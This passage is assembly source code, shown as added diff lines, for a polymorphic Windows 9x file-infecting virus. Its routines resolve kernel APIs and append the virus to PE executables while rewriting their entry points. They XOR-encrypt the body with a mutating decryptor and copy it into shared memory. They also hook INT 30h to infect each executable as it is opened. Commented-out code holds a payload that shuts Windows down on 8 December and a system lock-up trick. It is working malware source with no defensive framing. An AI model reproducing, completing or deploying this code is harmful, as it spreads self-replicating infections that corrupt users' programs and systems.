test eax, eax ;Error occured ? + jz End_WinMain ;Transfer control to host + + IF DEBUG + @MESSAGE_BOX szInfected + @OFFSET ebx, szHostFileName + call InfectFile, ebx + ENDIF + + ;Check if this Machine is to be Infected + call CanMachineBeInfected ;Is this my machine + test eax, eax + jz End_WinMain ;Yes, so don't infect + + ;Relocate Virus (Make Resident) + call RelocateVirus + or eax, eax ;Virus Relocated? + je End_WinMain ;No + + ;Jump to Relocated Virus Copy + @OFFSET ebx, StartOfVirusCode ;Start of Virus in Non-Relocated Copy + add eax, offset RelocatedVirus - offset StartOfVirusCode + jmp eax ;Control will go to Relocated Copy + + ;This part is the Relocated Copy of the Virus in Shared Memory +RelocatedVirus: + ;When a file is infected, the CALL instruction at label ReturnToHost is + ;replaced by a JMP XXXXXXXX instruction. Since the virus has been relocated, + ;this JMP instruction will point to some invalid location. We need to modify + ;this, so that the JMP points to the host program (which was not relocated) + + ;The offset of Calculate_Offset_Instruction in the non-relocated virus was + ;saved in EBX before jumping here. Now we calculate the offset in the relocated + ;virus (this copy). + + @DELTA eax + mov esi, eax ;Save Delta Offset + add eax, offset StartOfVirusCode ;Start of Virus in Relocated Copy + sub eax, ebx ;Difference in offsets + + ;We now subtract this difference from the offset specified in the JMP + ;instruction, and update the JMP instruction to point to the correct location + ;in memory + + add esi, offset ReturnToHost + 1 ;Point to operand of JMP instruction + sub [esi], eax ;Fix JMP instruction + + call InstallHookProcedure + +End_WinMain: + @TRY_EXCEPT WinMain_Handler + @MESSAGE_BOX szWinMainHandler + @TRY_END WinMain_Handler + +ReturnToHost: + DB 0E9h, 00, 00, 00, 00 ;JMP instruction used for passing control + ;to the host. The address of this JMP + ;instruction is calculated at run-time + ;ret ;Not required, since control is transfered to host +WinMain ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | GetAPIAddresses | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Finds the Address of the API's to be used by the virus +; +; Arguments +; -> None +; +; Return Value: +; -> EAX: 1, if the API addresses were found, 0 otherwise +; +; Registers Destroyed +; -> All +;___________________ +GetAPIAddresses PROC + call GetAddressOfKernelAPI, 1 ;Get Address Of GetProcAddress + test eax, eax ;Found Address ? + jz End_GetAPIAddresses ;No, Return 0 + +;Get addresses of all required KERNEL32 API's +;ESI = Delta Offset +;EBX = Address of GetProcAddress(...) +;ECX = Image Base of KERNEL32.DLL + @DELTA esi + mov ebx, eax ;Address of GetProcAddress(...) + mov ecx, dwKernelBase ;Base address of KERNEL32.DLL + @GET_API_ADDRESS CloseHandle + @GET_API_ADDRESS CreateFileA + @GET_API_ADDRESS CreateFileMappingA + @GET_API_ADDRESS GetFileAttributesA + @GET_API_ADDRESS GetFileSize + @GET_API_ADDRESS GetFileTime + @GET_API_ADDRESS GetLocalTime + @GET_API_ADDRESS GetTickCount + @GET_API_ADDRESS LoadLibraryA + @GET_API_ADDRESS MapViewOfFile + @GET_API_ADDRESS SetFileAttributesA + @GET_API_ADDRESS SetFileTime + @GET_API_ADDRESS UnmapViewOfFile + +;Load USER32.DLL + push ebx ;Save address of GetProcAddress(...) + + mov eax, esi ;Delta Offset + add eax, offset szUser32DLL ;Name of DLL to be loaded + call esi + LoadLibraryA, eax + mov ecx, eax ;Base address of USER32.DLL + + pop ebx ;Restore address of GetProcAddress(...) + +;Get addresses of all required USER32 API's +;ESI = Delta Offset +;EBX = Address of GetProcAddress(...) +;ECX = Image Base of USER32.DLL + + @GET_API_ADDRESS ExitWindowsEx + IF DEBUG + @GET_API_ADDRESS MessageBoxA + ENDIF + +End_GetAPIAddresses: + ret +GetAPIAddresses ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | GetAddressOfKernelAPI | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Finds the address of GetProcAddress or VxDCall API in KERNEL32.DLL. The +; VxDCall API is exported by ordinal only, and the GetProcAddress is +; exported by name. +; +; Arguments +; -> EDX: offset of the program <---- NOT USED ANYMORE ??? +; -> gaoka_wAPIName: If 0, the address of VxDCall is Returned. Else, the address +; of GetProcAddress is returned. +; +; Return Value: +; -> EAX: Address of the Required API if Found, Else NULL +; +; Registers Destroyed +; -> All +;______________________________ +GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD + LOCAL lpdwAddressOfFunctions:DWORD, \ + lpdwAddressOfNames:DWORD, \ + lpwAddressOfNameOrdinals: WORD, \ + dwVAIED:DWORD + +;Get File Headers + call GetFileHeaders, dwKernelBase + test eax, eax ;Successfully Retreived Headers? + je End_GetAddressOfKernelAPI ;No, probably Windows NT / 2000 + mov [dwVAIED], edx + mov esi, dwKernelBase + +;Get Address of Functions + mov ecx, [dwVAIED] + mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfFunctions + add eax, esi ;VA of Address of functions + mov dword ptr [lpdwAddressOfFunctions], eax + +;Check which API is Required + cmp [gaoka_wAPIName], 0 ;Return Address of VxDCall or GetProcAddress ? + jne GetProcAddressRequired ;GetProcAddress + +;Get Address of VxDCall API (Ordinal 1) + xor eax, eax + inc eax ;Ordinal Reqd = 1 + sub eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base ;Index In Array + jmp GetAddressFromIndex + +GetProcAddressRequired: +;Get Address of Names + mov ecx, [dwVAIED] + mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames + add eax, esi ;VA of Address of Names + mov dword ptr [lpdwAddressOfNames], eax + +;Get Address of Name ordinals + mov ecx, [dwVAIED] + mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals + add eax, esi ;VA of Add of Name Ordinals + mov dword ptr [lpwAddressOfNameOrdinals], eax + +;Find the API index in the AddressOfNames array + push esi ;Save the base address of KERNEL32 + mov eax, esi ;Also save in EAX + xor ebx, ebx + dec ebx ;Initialize Index to -1 + mov edx, dword ptr [lpdwAddressOfNames] + + @OFFSET esi, szGetProcAddress ;API to be found + mov ecx, esi ;Save address in ECX + +CheckNextAPI: + inc ebx ;increment index + mov edi, dword ptr [edx + ebx*4] ;go the the ebx'th index + add edi, eax ;get the VA from the RVA + mov esi, ecx ;get address stored previously + +CheckNextByte: + cmpsb ;Check Byte + jne CheckNextAPI ;byte did not match, Incorrect API, Check Next One + cmp byte ptr [edi], 0 ;Have we reached the end-of-string + je FoundAPI ;Yes? We've found the API + jmp CheckNextByte ;No, Check the next byte + +FoundAPI: + ;EBX contains the index of the function into the array + pop esi ;Get the base address of KERNEL32 + +;Compute the Index + mov ecx, ebx + mov edx, dword ptr [lpwAddressOfNameOrdinals] + movzx eax, word ptr [edx + ecx*2] ;Index + +;Get the Address (EAX = Index, ESI = Kernel32 Base) +GetAddressFromIndex: + mov ebx, [lpdwAddressOfFunctions] + mov eax, dword ptr [ebx + eax*4] ;RVA of the API + add eax, esi ;VA of the API + +End_GetAddressOfKernelAPI: + ret +GetAddressOfKernelAPI ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | OpenAndMapFile | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Opens a file from disk, and maps it into memory. The function also +; saves the file modified time and file attributes before opening the +; file. These are later restored by UnmapAndCloseFile +; +; Arguments +; -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped +; -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size +; +; Return Value: +; -> EAX: Starting address of memory where the file has been mapped, or 0 +; if an error occured +; -> ECX: Original File Size +; +; Registers Destroyed +; -> All +;_______________________________________________________________ +OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD + @DELTA esi + +;Save File Attributes, and Clear all attributes + call esi + GetFileAttributesA, oamf_szFileName + mov [esi + dwFileAttributes], eax ;Save File Attributes + call esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL + test eax, eax ;File Attributes Set ? + je End_OpenAndMapFile ;No, Return 0 + +;Open the file in R/W mode + call esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \ + FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL + cmp eax, INVALID_HANDLE_VALUE ;File Opened ? + je Error_OpenAndMapFile_Create ;No + mov [esi + hHostFile], eax ;Yes, Save handle of host file + +;Get and Store File Time + lea ebx, [esi + ftLastAccessTime] + lea ecx, [esi + ftLastWriteTime] + call esi + GetFileTime, eax, NULL, ebx, ecx + +;Compute the new file size + call esi + GetFileSize, [esi + hHostFile], NULL + add eax, [oamf_dwAddBytes] ;Compute New File Size + +;Map the file + call esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \ + 0, eax, NULL + test eax, eax ;File Mapping Created + jz Error_OpenAndMapFile_Mapping ;No + mov [esi + hMappedFile], eax ;Yes, Save Handle + +;Map View of the File + call esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0 + mov [esi + lpHostFile], eax ;Have to save Mapped Address + test eax, eax ;File Mapped Successfully ? + jnz End_OpenAndMapFile ;Yes + +;Error Occured, Close Files, and Restore Attributes + call esi + CloseHandle, [esi + hMappedFile] ;Failed, Close File Mapping + +Error_OpenAndMapFile_Mapping: + call esi + CloseHandle, [esi + hHostFile] ;Failed, Close the File + +Error_OpenAndMapFile_Create: + call esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes] + xor eax, eax ;Error, Return 0 + +End_OpenAndMapFile: + ret +OpenAndMapFile ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | UnmapAndCloseFile | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Unmaps the open file and closes the handles associated with it. It +; also restores the original file attributes and file time. +; +; Arguments +; -> uacf_szFilename: Name of the file that is being unmapped. This is +; used only to restore the file attributes +; +; Return Value: +; -> None +; +; Registers Destroyed +; -> All +;_____________________ +UnmapAndCloseFile PROC uacf_szFilename:DWORD +;Unmap File + @DELTA esi + call esi + UnmapViewOfFile, [esi + lpHostFile] ;Unmap the File + call esi + CloseHandle, [esi + hMappedFile] ;Close File Mapping + +;Restore File Time + lea eax, [esi + ftLastAccessTime] + lea ebx, [esi + ftLastWriteTime] + call esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx + +;Close File + call esi + CloseHandle, [esi + hHostFile] ;Close the File + +;Restore File Attributes + call esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes] + + ret +UnmapAndCloseFile ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | InfectFile | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Infects the host file with our virus +; +; Arguments +; -> DWORD if_szFileName: Address of the file to be infected +; -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes) +; -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes) +; +; Return Value: +; -> EAX: 1 if Infected, 0 on Error +; +; Registers Destroyed +; -> All +;__________________________________ +InfectFile PROC if_szFileName:DWORD + LOCAL lpdwLastSection:DWORD, \ + dwVirusBegin:DWORD, \ + dwNewEntryRVA:DWORD, \ + dwJumpBytes:DWORD, \ + dwIOH:DWORD, \ + dwIncFileSize:DWORD, \ + dwIncSecSize:DWORD, \ + dwDeltaOffset:DWORD + + @DELTA esi + mov [dwDeltaOffset], esi ;Save Delta Offset + +;Check if the file can be infected, or not + call CanFileBeInfected, if_szFileName + test eax, eax ;Can it be infected + jz End_InfectFile ;No + mov [dwIncFileSize], ebx ;Save Increase in File Size + mov [dwIncSecSize], ecx ;Save Increase in Section Size + +;Map Host File into Memory + call OpenAndMapFile, if_szFileName, dwIncFileSize + test eax, eax ;File Opened and Mapped Successfully + jz End_InfectFile ;No, Return Code = 0 + mov esi, [dwDeltaOffset] + mov [esi + lpHostFile], eax ;Save staring address of file + +;Get File Headers + call GetFileHeaders, eax ;This should not fail, since its already... + mov [dwIOH], ebx ;...called once in CanFileBeInfected + mov [lpdwLastSection], ecx + +;Calculate the Starting of Virus Code in File + mov eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData + add eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData + mov [dwVirusBegin], eax ;RVA of New Entry Point in File + +;Calculate RVA of New Entry Point + mov ebx, [lpdwLastSection] + sub eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData + add eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress + mov [dwNewEntryRVA], eax + +;Calculate Bytes of JMP Instruction + add eax, offset ReturnToHost - offset StartOfVirusCode + mov ebx, [dwIOH] + sub eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint + add eax, 4 + not eax + mov [dwJumpBytes], eax ;Save Bytes + +;Append the Virus to the host + mov esi, offset StartOfVirusCode ;Copy Virus from Here... + add esi, [dwDeltaOffset] ;since StartOfVirusCode will vary after infection + mov edi, [dwVirusBegin] ;...to here + mov ebx, [dwDeltaOffset] + add edi, [ebx + lpHostFile] ;true location to copy to + mov ecx, VIRUS_SIZE + rep movsb + +;Write New Jump Instruction in File + ;Offset in File where operand to JMP instruction is to be put + mov ebx, offset ReturnToHost + 1 - offset StartOfVirusCode + add ebx, [dwVirusBegin] ;True offset in file + mov esi, [dwDeltaOffset] + add ebx, [esi + lpHostFile] ;Correct offset in Memory Mapped File + mov ecx, [dwJumpBytes] ;Get operand for jmp instruction + mov [ebx], ecx ;Put it in the file + +;Update the Last Section Header + mov eax, [lpdwLastSection] + mov ebx, [dwIncSecSize] + mov ecx, [dwIncFileSize] + add (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx + add (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx + or (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE + +;Fix VirtualSize (if Required) for files like TRACERT.EXE) + mov ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData + cmp (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Virtual Size Wrong + jge VirtualSizeFine ;No, Fix Not Required + mov (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Yes, Fix it + +VirtualSizeFine: + +;Update the PE Header (Image Size) + mov ebx, [dwIOH] ;Address of Image Optional Header + add (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx + +;Update the PE Header (Entry RVA) + mov ecx, [dwNewEntryRVA] ;Get New Entry RVA + mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx + +;Update the Win32VersionValue field. This is used as a Virus Signature + mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE + +;Encrypt the file, and Close it + mov ebx, [dwDeltaOffset] + mov edi, [ebx + lpHostFile] ;Staring address of Host File + add edi, [dwVirusBegin] ;Address of virus in file + call EncryptVirus + + call UnmapAndCloseFile, if_szFileName + xor eax, eax + inc eax ;All OK, Return Code 1 + +End_InfectFile: + ret +InfectFile ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | EncryptVirus | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Encrypts the Virus Code with a random byte, and mutates the decryptor, +; making the virus Encrypted & Polymorphic +; +; Arguments +; -> EDI: Starting address of Virus in Memory Mapped File +; +; Return Value: +; -> None +; +; Registers Destroyed +; -> All except EDI +;________________ +EncryptVirus PROC + push edi ;Save starting address of virus code + +;Get Encryption Key, to be used for encrypting/decrypting + ;@DELTA esi + ;call esi + GetTickCount ;Get random number in EAX (AL) + + in al, 40h ;Get random encryption key + IF DEBUG + xor al, al ;Don't encrypt in Debug Mode + ENDIF + + mov ecx, ENCRYPTED_SIZE + add edi, LOADER_SIZE ;Don't enrypt the loader !! +EncryptByte: + xor byte ptr [edi], al ;al = Encryption Key + inc edi + loop EncryptByte + + pop edi ;restore starting address of virus code + +;Update the Encryption Key in the decryptor + mov byte ptr [edi + EncryptionKey - StartOfVirusCode], al + +;Mutate the Decryptor + call MutateDecryptor + + ret +EncryptVirus ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | StringLength | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> Returns the length of the string +; +; Arguments +; -> DWORD sl_lpszString: Address of the string +; +; Return Value: +; -> EAX: Length of the string +; +; Registers Destroyed +; -> EAX, ECX, EDI +;____________________________________ +StringLength PROC sl_lpszString:DWORD + mov edi, sl_lpszString ;string whose length is required + xor ecx, ecx + dec ecx ;ecx = -1, search till infinity + xor eax, eax ;search for NULL character + repne scasb ;Find the terminating NULL + not ecx + dec ecx ;length of string + mov eax, ecx ;return length of string + ret +StringLength ENDP +;**************************************************************************** +; TimerProc +;**************************************************************************** +; Description +; -> This function is called when the Time-out value for the Timer Expires. +; +; Arguments +; -> tp_hwnd: Handle of the window +; tp_uMsg: WM_TIMER +; tp_idEvent: ID of the timer +; tp_dwTimer: Value of GetTickCount() +; +; Return Value: +; -> None +; +; Registers Destroyed +; -> All +;_____________________________________________________________________________ +;TimerProc PROC tp_hwnd:DWORD, tp_uMsg:DWORD, tp_idEvent:DWORD, tp_dwTime:DWORD +; LOCAL dwDeltaOffset:DWORD, \ +; dwFileNumber:DWORD, \ +; stTime:SYSTEMTIME +; pushad ;must save, since this is a CALLBACK fn +; @DELTA esi +; mov [dwDeltaOffset], esi +; +;Check if Date is 8th December +; lea eax, stTime +; call esi + GetLocalTime, eax +; cmp stTime.ST_wMonth, 12 ;is Month = December +; jne Not_8_December ;No +; cmp stTime.ST_wDay, 8 ;Yes. Is Day = 8th +; jne Not_8_December ;No +; +;Deliever Payload since date is 8th December +; call PayLoad +; +;Not_8_December: +; +;Lock System if Windows has been running for a long time +; ;cmp tp_dwTime, MAX_RUN_TIME ;Is Windows Up-time > 2 hours +; ;jle NoLockWindows ;No +; ;DB 0F0h ;Yes, use F00F Bug to hang / lock System +; ;DB 0Fh +; ;DB 0C7h +; ;DB 0C8h +; +;NoLockWindows: +; +; +;End_TimerElapsed: +; popad ;restore state +; ret +;TimerProc ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | CanFileBeInfected | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> This function checks if a file can be infected or not. It checks the +; following: +; 1. File must be an EXE +; 2. File must be a PE +; 3. It must not be a DLL +; 4. File must not be infected by our virus +; 5. It must not be a Winzip Self-Extractor File +; +; If all the above conditions are met, this function returns the size, in +; bytes, by which the file and section must be increased when the file is +; infected. +; +; Arguments +; -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check +; +; Return Value: +; -> EAX: 1 if the file can be infected, 0 Otherwise +; -> EBX: Bytes by which the file size must be increased if it is infected +; -> ECX: Bytes by which the last section size must be increased if it is infected +; +; Registers Destroyed +; -> All +;___________________________________________ +CanFileBeInfected PROC cfbe_szFileName:DWORD +;Map File, without increasing the File Size + call OpenAndMapFile, cfbe_szFileName, 0 + test eax, eax ;File Opened & Mapped Successfully + jz End_CanFileBeInfected ;No, Return with Error Code = 0 + +;Get File Headers + call GetFileHeaders, eax + test eax, eax ;Successfully retreived file headers + je End_CanFileBeInfected ;No, probably not a PE file + +;Check if file is infected. We use the Win32VersionValue for storing our signature + cmp (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE + jz Error_CanFileBeInfected ;File is already infected + +;Check if file is a DLL + test (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL + jnz Error_CanFileBeInfected ;Yes + +;Check if last section is sharable + ;mov edx, (IMAGE_SECTION_HEADER [ecx]).ISH_Characteristics + ;and edx, IMAGE_SCN_MEM_SHARED ;Is Section Sharable + ;jnz Error_CanFileBeInfected ;Yes, don't infect + +;Don't infect Winzip Self-Extractor Files. + ;The last section of this file has the name _winzip_. Note that Winzip + ;Self-Extrator Personal Edition Files will still be infected, since they + ;don't have this section + cmp dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_" ;"_win" ? + je Error_CanFileBeInfected ;Yes, dont infect + +;OK, File can be infected, Great !!, ;-) + mov eax, ebx ;Image Optional Header + mov ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment + mov ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment + +;Calculate Increase in Section size + ;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN + mov eax, VIRUS_SIZE - 1 + add eax, ecx ;Add Section Alignment + xor edx, edx ;We need to divide only EAX + div ecx ;Divide by SECTION_ALIGN + mul ecx ;Multiply by SECTION_ALIGN + push eax ;Save Increase in Section Size + +;Calculate Increase in File Size + ;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN + ;mov eax, VIRUS_SIZE;**NEW LINE + ;dec eax ;INC_SEC_SIZE - 1 + mov eax, VIRUS_SIZE - 1 + add eax, ebx ;Add File Alignment, FILE_ALIGN + div ebx ;Divide by FILE_ALIGN + mul ebx ;Multiply by FILE_ALIGN + push eax ;Save Increase in File Size + +;Close the file, and return relevant values + call UnmapAndCloseFile, cfbe_szFileName + pop ebx ;Get Increase in File Size + pop ecx ;Get Increase in Section Size + xor eax, eax + inc eax ;Return Code 1 + jmp End_CanFileBeInfected + +Error_CanFileBeInfected: + call UnmapAndCloseFile, cfbe_szFileName + xor eax, eax ;Return Code 0 + +End_CanFileBeInfected: + ret +CanFileBeInfected ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | PayLoad | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> This function is called on the 8th of December. It delievers the Payload +; of the virus. +; +; Arguments +; -> None. +; +; Return Value: +; -> None. +; +; Registers Destroyed +; -> All +;___________ +;PayLoad PROC +; @DELTA esi +; ;call ExitWindowsEx, EWX_FORCE OR EWX_SHUTDOWN, NULL +; call esi + ExitWindowsEx, EWX_SHUTDOWN, NULL +; ret +;PayLoad ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | CanMachineBeInfected | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> This function is called to check if the virus should infect this machine +; or not. This is used, so that the virus doesn't infect My Machine !! +; +; Arguments +; -> None. +; +; Return Value: +; -> EAX: 0 -> machine should not be infected, else it can be infected +; +; Registers Destroyed +; -> All +;________________________ +CanMachineBeInfected PROC + @DELTA esi + +;Check if the "No Infect" file exists on the current machine + mov eax, esi + add eax, offset szNoInfectFileName + call esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \ + OPEN_EXISTING, NULL, NULL + cmp eax, INVALID_HANDLE_VALUE ;File Opened ? + je End_CanMachineBeInfected ;No, so machine can be infected + +;Close the file, and return 0, since its probably my machine + call esi + CloseHandle, eax + xor eax, eax ;return 0, so that machine is not infected + +End_CanMachineBeInfected: + ret +CanMachineBeInfected ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | RelocateVirus | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> This function allocates memory in the Shared area and copies the Virus +; to that area. +; +; Arguments +; -> None. +; +; Return Value: +; -> EAX: Base address of Memory where the Virus was copied, or NULL if an +; error occured. +; +; Registers Destroyed +; -> All +;_________________ +RelocateVirus PROC + LOCAL dwDeltaOffset:DWORD, \ + dwMemoryRegion:DWORD + + @DELTA esi + mov [dwDeltaOffset], esi + +;Reserve Shared Memory + @DELTA esi + call esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \ + PC_WRITEABLE OR PC_USER + cmp eax, INVALID_HANDLE_VALUE ;Memory Allocate Successfully? + je Error_RelocateVirus ;No + cmp eax, SHARED_MEMORY ;Shared memory Allocated? + jb Error_RelocateVirus ;No + +;Save Address of Region + mov [dwMemoryRegion], eax + +;Commit Shared Memory + shr eax, 0Ch ;Page Number + mov esi, [dwDeltaOffset] + call esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \ + PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED + or eax,eax + je Error_RelocateVirus + +;Copy Virus to Newly Allocate Memory + mov esi, dwDeltaOffset + add esi, offset StartOfVirusCode ;Start Copying From Here + mov edi, [dwMemoryRegion] ;Copy Here + mov ecx, VIRUS_SIZE ;Size to Copy + rep movsb + + mov eax, [dwMemoryRegion] ;Return Region of Shared Memory Allocated + jmp End_RelocateVirus + +Error_RelocateVirus: + xor eax, eax ;Return 0, since an error occured + +End_RelocateVirus: + ret +RelocateVirus ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | InstallHookProcedure | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> This function installs a hook procedure to monitor VxDCalls +; +; Arguments +; -> None. +; +; Return Value: +; -> None. +; +; Registers Destroyed +; -> All +;________________________ +InstallHookProcedure PROC + LOCAL dwDeltaOffset:DWORD + + @DELTA esi + mov [dwDeltaOffset], esi + +;Modify the JMP instruction, so that it points to the address of OldInt30 + mov eax, esi + add eax, offset OldInt30Address ;Bytes to modify + mov ebx, esi + add ebx, offset OldInt30 ;Address of OldInt30 + mov [eax], ebx ;Modify JMP instruction + +;The disassembly of the VxDCall function looks like this: +; +;8B 44 24 04 MOV EAX, DWORD PTR [ESP+04h] +;8F 04 24 POP DWORD PTR [ESP] +;2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX] +; +;The last instuction points to an INT 30h instruction that is used by +;VxDCall to jump to Ring 0. So, to hook VxDCall's, we must modify the +;address pointed to by the CALL, i.e. XXXXXX, so that it points to our +;code. Before that, we should save the current address, so that we can +;call the old INT 30h + +;Trace through VxDCall, until we come to the XXXXXXXX bytes + add esi, offset VxDCall + mov esi, [esi] ;First byte of VxDCall function + mov ecx, 50 ;Scan upto 50 bytes +TraceVxDCall: + lodsb ;Get current byte + cmp al, 2Eh ;First byte of CALL instruction? + jne TraceVxDCall_NextByte ;No, check next byte + cmp word ptr [esi], 1DFFh ;Next two bytes of instruction? + je TraceVxDCall_AddressFound ;Yes +TraceVxDCall_NextByte: + loop TraceVxDCall ;Continue Checking... + +TraceVxDCall_AddressFound: +;Save Current INT 30h Address + cli ;Cannot afford to be interrupted + lodsw ;Skip over FF and 1D opcodes of CALL + lodsd ;Pointer to INT 30h instruction, XXXXXXXX + mov esi, eax ;Copy Bytes From Here + mov edi, [dwDeltaOffset] + add edi, offset OldInt30 ;To Here + mov ecx, 6 ;Save 6 bytes, FWORD + rep movsb + +;Install New INT 30h Handler + mov edi, eax ;Pointer to INT 30h instruction + mov eax, [dwDeltaOffset] + add eax, offset VxDInt30Handler ;Copy This Address + stosd ;Save 4 bytes ... + mov ax, cs + stosw ;and 2 bytes (since FWORD instruction) + sti ;Handler installed, enable interrupts + ret +InstallHookProcedure ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | VxDInt30Handler | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> This is the hook procedure that monitors VxDCalls (INT 30h) +; +; Arguments +; -> None. +; +; Return Value: +; -> None. +; +; Registers Destroyed +; -> All +;___________________ +VxDInt30Handler PROC + pushad ;Save all, since this is an interrupt handler + +;Make sure that we don't process our own calls + @OFFSET ebp, VxDCall_Busy + cmp byte ptr [ebp], TRUE ;Is Virus busy + je Exit_VxDInt30Handler ;Yes, prevent re-entrancy + +;Process only INT 21h Services + cmp eax, VWIN32_Int21Dispatch ;VWIN32 VxD int 21h? + jne Exit_VxDInt30Handler + + mov eax,dword ptr [esp+0000002Ch] ;Get 21h Service + cmp ax, RESIDENCY_CHECK_SERVICE ;Check for Residency? + je Residency_Check ;Yes + cmp ax, LFN_OPEN_FILE_EXTENDED ;LFN Open Extended + je Extended_File_Open + + jmp Exit_VxDInt30Handler ;None, go to default handler + +Residency_Check: +;Virus Residency Check + popad ;Restore stack and other regs + mov esi, RESIDENCY_SUCCESS ;Tell caller that we're resident + jmp Original_VxDInt30Handler ;Go to original handler + +Extended_File_Open: +;Prevent Re-entrancy + @OFFSET eax, VxDCall_Busy + mov byte ptr [eax], TRUE + + push esi + call IsFilenameOK, esi + pop esi + or eax, eax + jz File_Not_Executable + +;Do Stuff + ;call OutputFileName + call InfectFile, esi + +File_Not_Executable: +;Finished Processing + @OFFSET eax, VxDCall_Busy + mov byte ptr [eax], FALSE + +Exit_VxDInt30Handler: + popad ;Restore, before transfering control + +Original_VxDInt30Handler: +;The following bytes will be translated to JMP FWORD PTR CS:[00000000] + DB 2Eh, 0FFh, 2Dh ;JMP FWORD PTR CS:[XXXXXXXX] +OldInt30Address: ;The following 4 bytes will be replaced by the + DB 4 DUP (0) ;address of OldInt30 in memory. + ;ret ;Not required, since we're jumping out +VxDInt30Handler ENDP 